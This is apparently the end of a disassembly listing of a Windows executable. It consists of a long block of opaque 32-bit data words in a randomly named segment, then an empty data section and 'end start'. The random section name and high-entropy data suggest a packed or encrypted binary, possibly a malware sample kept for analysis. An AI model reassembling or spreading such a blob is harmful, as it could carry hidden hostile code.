dd 12FA6947h, 0EDAFB323h, 0B13EF3CCh, 5FBE5600h, 0FB1F2307h
dd 641AB3D5h, 0EFCE86D0h, 2B4F93F7h, 0A1AAE303h, 8E25B327h
dd 9BFFF7CCh, 0DF3FF6FDh, 9B5EA387h, 0AD575547h, 5BCF2826h
dd 0EB7F1BDCh, 0F74E68Dh, 7C05F357h, 5B0B72E2h, 638FD3F7h
dd 9D0F5647h, 4187306Fh, 9BCB2982h, 9BE4F5B7h, 0BD70806h
dd 21AA79DFh, 31BF83D3h, 0DF3ED680h, 7B9FA387h, 0BE5E3347h
dd 0E319A6D2h, 0EC5EBB4h, 3B1F57ADh, 4B9C5871h, 91826ACDh
dd 9C8F93CEh, 0BB2B12C2h, 6B6FB3D7h, 6AE07627h, 4D5478C0h
dd 0B1C7EABFh, 4B1B5932h, 985B03E7h, 0DF25F67Dh, 0D0F9A387h
dd 0F2658E7Eh, 9AF583E7h, 9245B6BDh, 903963C7h, 0EADABA7h
dd 1B7F774Eh, 5A0A245Dh, 0F81F6373h, 446EB3D7h, 0DBFF84A3h
dd 4F282BB7h, 3654C58Ch, 0B6F47A6h, 9BBF3266h, 2AF85177h
dd 789FA3C7h, 0AC573622h, 0F05104C3h, 0ABCF138Fh, 4EF40587h
dd 179511h, 0A3942582h, 6D00B493h, 9DDF10ECh, 7AEA447Ch
dd 0DBFF4313h, 5E4E93B7h, 8A5A1447h, 0B2F33A3h, 0EFB7C3E7h
dd 66B73551h, 4A1A54ABh, 0CBEF7363h, 547D83A7h, 4AC5D2A2h
dd 0F2DBC8E1h, 33C9FB62h, 0B0594743h, 633FC01Ch, 9D11C8EDh
dd 4932EB6Fh, 9BCB28A2h, 0C0E4F5B7h, 11165304h, 3F1EF660h
dd 9BBFC3A7h, 0CB7BD377h, 0FEB5A477h, 0CBAF077Eh, 56656366h
dd 0ABEB1BBEh, 0F76C685h, 6F6FF357h, 1FFBC364h, 0C1EE635Ch
dd 1BE09B21h, 7F4616DDh, 70990367h, 1F7E1640h, 0BBFFE347h
dd 585B7397h, 0AF8E4610h, 0EB0F5337h, 76EB83C7h, 0CBECF4A0h
dd 5E0B83A7h, 40658387h, 0B098E874h, 0CB96719Ah, 92FE6867h
dd 333F2FB6h, 0CF36A64Dh, 0BCC5B397h, 9BCB32A2h, 6B4F93B7h
dd 0DDD39707h, 1EC232Fh, 0DB8BEA62h, 8D05B877h, 717F5C7Fh
dd 8BDB1AF2h, 0ACD4E5A7h, 0EBFB22B2h, 3B5F6087h, 7CDC8716h
dd 5B0B72E2h, 6B8FD3F7h, 0C125767h, 4B6FB010h, 6BFA7727h
dd 0D8A43927h, 3E542C8Ch, 0B6F4A0Dh, 0D3360BCCh, 1CC6608Bh
dd 3BAB9242h, 4BEF3357h, 0D671F6A7h, 0EBFB3AB2h, 7B57E987h
dd 0F8AC0A97h, 0D63BCE9Fh, 6B9FF7B3h, 4B17C386h, 4D8C185Ch
dd 1BCEBB41h, 932938D1h, 3B76388h, 92F7397h, 0C314A506h
dd 9EC6D6DCh, 4A27C5C1h, 7B445597h, 0DEF22964h, 0AB8F270Bh
dd 0F6EE670h, 8BAFF357h, 1D4A5367h, 3377F8A0h, 0A8943AACh
dd 609798FFh, 797288F7h, 2A4FD38Eh, 0FBE66192h, 80167297h
dd 12BBE7A3h, 0AB1F3ECAh, 0FD2228C7h, 0E0EF736Eh, 1B460122h
dd 9A4AE437h, 7B5F23B3h, 0FFAFF317h, 0B0E7B465h, 3D8FD735h
dd 55A2A010h, 4B6FF3EEh, 0DA268728h, 26A793B7h, 0F0DFE307h
dd 4E6121D2h, 0B58DF0ABh, 0EB431F33h, 4E173638h, 4E663317h
dd 5B3FBA19h, 97979864h, 48A0BB84h, 0BFEC783Fh, 0E4C9BF8Fh
dd 0CD1A5808h, 0A01F637Eh, 0C263F1D4h, 9BC6C1A2h, 230D90B7h
dd 8219668Eh, 78A473D7h, 1B0C3CCFh, 30F5377h, 84605512h
dd 0F2498EDCh, 0B32983E7h, 5430E5FEh, 2F9F60Ch, 0C124F357h
dd 1775406Fh, 820C1DDCh, 9B972C42h, 446FB3D6h, 0DBFE59A3h
dd 81FA90B7h, 0B8DFA33Eh
dd 4B160122h, 73836FE7h, 0EBADD678h, 3D12A3C7h, 0B96A1853h
dd 587FC39Eh, 2D274331h, 0B8A09C71h, 0CB9655AAh, 104A4367h
dd 648394CCh, 0FB1E38C4h, 726358D7h, 9BC6A5B2h, 26CA9CB7h
dd 0B8DFE306h, 4B160112h, 0A33EA5E7h, 6E007688h, 7B9FA33Bh
dd 0E0ED73DCh, 0B32FB7E4h, 5430E57Eh, 2F9DEBEh, 0EA0F357h
dd 1B3F4383h, 522556F4h, 7E1C2307h, 4B2F8AA5h, 9CD403ACh
dd 0E6CD9CBBh, 80DFE307h, 88207BD0h, 9BBFC323h, 0E80D93F4h
dd 0FE9CB780h, 0CBAF0A25h, 0EE80D3F5h, 0AB8F2A89h, 0E17F678h
dd 0EF5F357h, 0ACBA4CA7h, 828FD3F7h, 0FB1F23DBh, 0CE604CEBh
dd 0DBFF03B3h, 245AAD37h, 0BBDF6882h, 0A69F897h, 0CB8B80CCh
dd 14FA8B9Fh, 0DD229A38h, 0BEEF736Eh, 0F1FA80D0h, 0A8CF530Eh
dd 7B661102h, 412A7A17h, 903F035Eh, 0A90AE8F7h, 891F637Eh
dd 8DEA88DFh, 0A9FF431Eh, 2B4FAEDEh, 8CAD9307h, 0B2F6C7Fh
dd 67F14EE7h, 0E92492FCh, 408FE1C4h, 8BD6F9D2h, 0D873F6A7h
dd 9A3003F3h, 277B2708h, 48B41876h, 22ADC6E8h, 0E0EFD3B7h
dd 0BB2651F2h, 0BD195BD7h, 729EFCD8h, 0AB4F93B7h, 0FCF4ED72h
dd 3026019Bh, 19B0CBA0h, 14F0AC4Bh, 0C91AAC8Eh, 4010CCA9h
dd 0FCFEA79Bh, 0ABCF3706h, 44A09C78h, 0C12ECFFCh, 1B3F2343h
dd 0ABBC9D17h, 7C3B2FCCh, 0B561D52h, 0EE468E27h, 284F9393h
dd 0FBE69182h, 0AE8A1597h, 9879E8A9h, 0A9244735h, 80D965CBh
dd 996EF4BFh, 5E7F83A7h, 22CF1337h, 65009FC1h, 0C51A7ED4h
dd 4D3F035Fh, 5EF34608h, 39C2307h, 0F0EBBC28h, 52FF0327h
dd 6B76C132h, 0EDDF8907h, 3E9BE668h, 5B3AC3A7h, 0EBABD778h
dd 0BBB4A3C7h, 0C8856307h, 337EE9F7h, 6BCF1337h, 67CA9CD1h
dd 8AFB322h, 9F30BC9Fh, 6B8FD6C9h, 0C249A6CEh, 0C6E2B397h
dd 0DBBF3A7Dh, 122D063Ah, 0E98EE347h, 0F47F73FDh, 0DB8A4772h
dd 14F7D077h, 7E9327C8h, 0CB853357h, 62293658h, 3E301377h
dd 3B1F5607h, 84500B94h, 1B3BB6E3h, 10A5AF7h, 0C81F637Eh
dd 1AACB01Eh, 0DF955277h, 7DFA6CE6h, 44DFA33Eh, 4B1A1302h
dd 947F46E7h, 0EB0B82F3h, 0F25690C7h, 8BD65DD2h, 0A2ED2A7h
dd 0A4CF0C5Fh, 0AEA03387h, 8BEFC6B7h, 9F3083E2h, 6B8FD77Dh
dd 0C26DA6CEh, 0F3ACB397h, 0DBFF6AEAh, 0DC77D83Ch, 0FBEBD282h
dd 0B2F7397h, 98B9B6F7h, 0AB1F3EF2h, 784D90C7h, 3C1EC496h
dd 21FA0A46h, 13CF530Eh, 3B5F47BCh, 8893B89Ch, 5B2F2EE2h
dd 685DE0F7h, 0CEED486h, 3DEA3A36h, 18FF431Eh, 2D0424B8h
dd 36EA00FEh, 0BC206BC4h, 4BBCD7A4h, 0C3CE383Eh, 411E73C4h
dd 0A5864408h, 0D862F75Eh, 0D9CE1F4Dh, 714E867h, 88BBB19Ch
dd 5FB25325h, 0B2782CBFh, 7E24E264h, 4B2F8ABDh, 0FFAB88E4h
dd 0A48FA0A7h, 0BBDF5B85h, 0C4A4B097h, 2632C80Ch, 0EB4F6B39h
dd 4840283Bh, 0AAD39F9Eh, 214385D5h, 8BE31140h, 4F035F2Dh
dd 0FF81CFFBh, 6E3F7FBAh, 0E046301Fh, 0A35A1E46h, 401BB392h
dd 89BC501Ah, 18CA9CB7h, 30201CF8h, 42784E94h, 1FB080A9h
dd 14F0AC51h, 2EDCF4FAh, 0D06B3C19h, 66807C58h, 99FC5060h
dd 0C44FE788h, 0DB920CE8h, 14701734h, 9470D673h, 13C410B8h
dd 0B4904DFAh, 25078728h, 0F97C6C48h, 0BBDFF5EFh, 0F4409B97h
dd 9B573C18h, 0B60F5377h, 54154E46h, 0F6063317h, 3F7F83A4h
dd 1E4421C8h, 3B1F5AF5h, 0ED8D7A73h, 41727DE6h, 68A956F8h
dd 0A5942347h, 2DB1B0EBh, 9EAF38A6h, 285916B8h, 0F828E307h
dd 0B0F7381h, 923ACCE7h, 1D0F5374h, 0F09DFF84h, 4FE01319h
dd 5B7F815Bh, 524E1FD4h, 3B5F6286h, 89417518h, 0D6D74367h
dd 64702C09h, 0FB1DC0C5h, 5B2538D7h, 63F34924h, 2B4E93B7h
dd 51310B56h, 9E1F8C68h, 9BFFF7C8h, 5E3F73C6h, 7BDF97F7h
dd 211133Dh, 0B36BFBFFh, 5430F9E3h, 0AF50B102h, 0BA4D20D5h
dd 5B0B72F2h, 36A38F7h, 0FB1F2341h, 4B69DB8Eh, 33A70327h
dd 0D4B07903h, 8FF6668Dh, 8FA973D7h, 0DB8BEACDh, 0C28ADB77h
dd 999FE3F3h, 0FA6AC4B7h, 537FC393h, 0DECF1337h, 10E2E38Eh
dd 8AAFB323h, 9EC88613h, 6BCFE7C6h, 0FA1F2344h, 0F6EFA8A3h
dd 0DBBF370Eh, 0ABFFE7B2h, 0FBEBC9BAh, 0AC5B7697h, 0AF947E67h
dd 9F0A5337h, 4A1A5459h, 0CBEF7363h, 2FFF83A7h, 8272933Eh
dd 395F23B3h, 2E2C7A60h, 1B7F7AC9h, 9F003BF7h, 3BF7DCB8h
dd 0A3904C2Ah, 0DBFF0102h, 12390E3Ch, 6537E347h, 4D08C6Bh
dd 9BBDC863h, 99BAD877h, 0F09FE3FEh, 15EC0F09h, 0A4825C4Fh
dd 5E4D1CC8h, 0BA5F6386h, 8BCFD75Dh, 0E5B4A367h, 118C85A5h
dd 0EB652053h, 7F5E3620h, 0DBFF0367h, 253A83B7h, 8FE3568Ah
dd 86A473D7h, 9BFFD38Ah, 5258F784h, 7B9FAAC8h, 0DBEF86DAh
dd 0FE8C83E7h, 0A92C1386h, 0BEA8C774h, 8BEFC726h, 0B3F4367h
dd 6B2757F8h, 88E02347h, 0BA005BFFh, 4E74FCD8h, 2B0FAA11h
dd 3FD03182h, 0B2F7305h, 0A2CD766Ch, 0A1845337h, 5FD522D7h
dd 2BEF3337h, 2877C98Ch, 0A8062035h, 0B66477F5h, 8BEFE37Ah
dd 0B52CEECh, 3DFDD3B7h, 783B1FCCh, 0B7FDE72h, 7C7C0327h
dd 2B4F93DAh, 0B3A56807h, 8273996h, 10484410h, 0AB36D5F2h
dd 4A1A54C7h, 8BEF7363h, 2F7F83A7h, 0A8D7E435h, 0B766FF5h
dd 0B201469Eh, 68B44327h, 9CBFD2DFh, 0BB2B12C2h, 4B6FF3D7h
dd 2CFD7727h, 9FA7C2AFh, 0E2201CFBh, 782C7F7Ch, 97CDE8CFh
dd 4FFC0526h, 0CE12FA98h, 0CBAF076Bh, 5202754h, 265D2238h
dd 3B5EB100h, 0A43AC917h, 6E3F0353h, 135DBAF1h, 730D1711h
dd 87874C87h, 8100FCF8h, 2843D93Ch, 3E28F34Dh, 0B6F47A6h
dd 8BBFC3E7h, 9E0912FAh, 0D5122AD4h, 0C8EF736Eh, 1B6FEE22h
dd 0C6689037h, 3B5F6387h, 7487B03Ch, 5B063DD2h, 39085AF7h
dd 741F2347h, 0CE989391h, 0DBBF3716h, 0AB4F93B7h, 538DE473h
dd 0F4D08AB0h, 353248BDh, 80F134Eh, 53D42AC4h, 40FF79DCh
dd 1B46F522h, 0A3852A37h, 71D660F4h, 9BEDF21Fh, 1B6720E4h
dd 52F5567Ch, 0C7772307h, 4A6FB3F3h, 0DAA60B65h, 0BEC5C3F4h
dd 0BB9FD728h, 3F1EF660h, 9BBFC3A7h, 0ED7B4377h, 6BF22EC4h
dd 0CB593317h, 6F4E0650h, 0ABCF1377h, 2F2A6385h, 0E5835E9h
dd 1B7F7756h, 6B8BD3F7h, 4E952532h, 4B2F87E7h, 0EFCE86D0h
dd 6B4F93F7h, 0B0AAE307h, 0C92D741Dh, 7969C14Dh, 6106B880h
dd 0D15D91C0h, 3C0DE555h, 0D01B5194h, 0A9407715h, 6DE2E0DFh
dd 8BAFB32Eh, 0E0B7C768h, 0DE702C08h, 0FB5F1A35h, 7EAB2628h
dd 6E000367h, 2B0FAAD9h, 8EE376F8h, 86A273D7h, 9BFFFABDh
dd 0D26DC6FAh, 29CEA387h, 7E10333Dh, 5B3FBAF1h, 9E7786C8h
dd 8EA063C7h, 8BEFCA41h, 2E03D698h, 0DE02D3B7h, 0FB5F1B09h
dd 723D0628h, 24A90367h, 6B7A2722h, 0ED7A6007h, 0B2F33AEh
dd 9BBF2B24h, 81525377h, 327222C6h, 93EF7364h, 0DEBE8C57h
dd 0AB8F06B7h, 0B89CA302h, 845F0CDFh, 0EBFC6A6h, 564CD3B7h
dd 0FB352357h, 0CA09AFA2h, 0B7F3275Bh, 4B5CE6C6h, 442027EFh
dd 0E32A0668h, 64403899h, 14F0819Fh, 84B1C238h, 0FFB94B7Ah
dd 5B5A3BB5h, 43AF1337h, 0C4A09C22h, 0CF24CA62h, 0AEB27343h
dd 6BCFEBB9h, 9D1773CCh, 49698956h, 0B3A92654h, 2BB093B7h
dd 0BBB5278Ch, 9ED023C5h, 9BFFF61Fh, 6A0797F4h, 44A0FFF9h
dd 48EC460Bh, 70978761h, 4330ECCCh, 0C4A09CF8h, 0FF173076h
dd 0F03F4367h, 6BA06B46h, 0EBF72347h, 896FB3D7h, 0EB470307h
dd 0C34F93B7h, 0BBDFE304h
dd 862F5755h, 56B3E7B3h, 0EBF7D059h, 93FFBABBh, 0CBEF3357h
dd 6B5BD72Ch, 2AD5986Ah, 7B6B706Ah, 6E961B17h, 0D95EBC98h
dd 698CD3F3h, 0FA192640h, 0A7A70F38h, 0FA10F325h, 0EEEFFE7Bh
dd 9FE5517Fh, 59E0E66Fh, 2F5610B9h, 87EB0D48h, 0E66F9FF8h
dd 0F9DF2FDEh, 0ED7B6243h, 0E668FE0Eh, 45056EA6h, 6EE668FEh
dd 16h, 419h dup(0)
lsqvqpii ends
; Section 6. (virtual address 00045000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00045000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 445000h
align 2000h
_idata2 ends
end start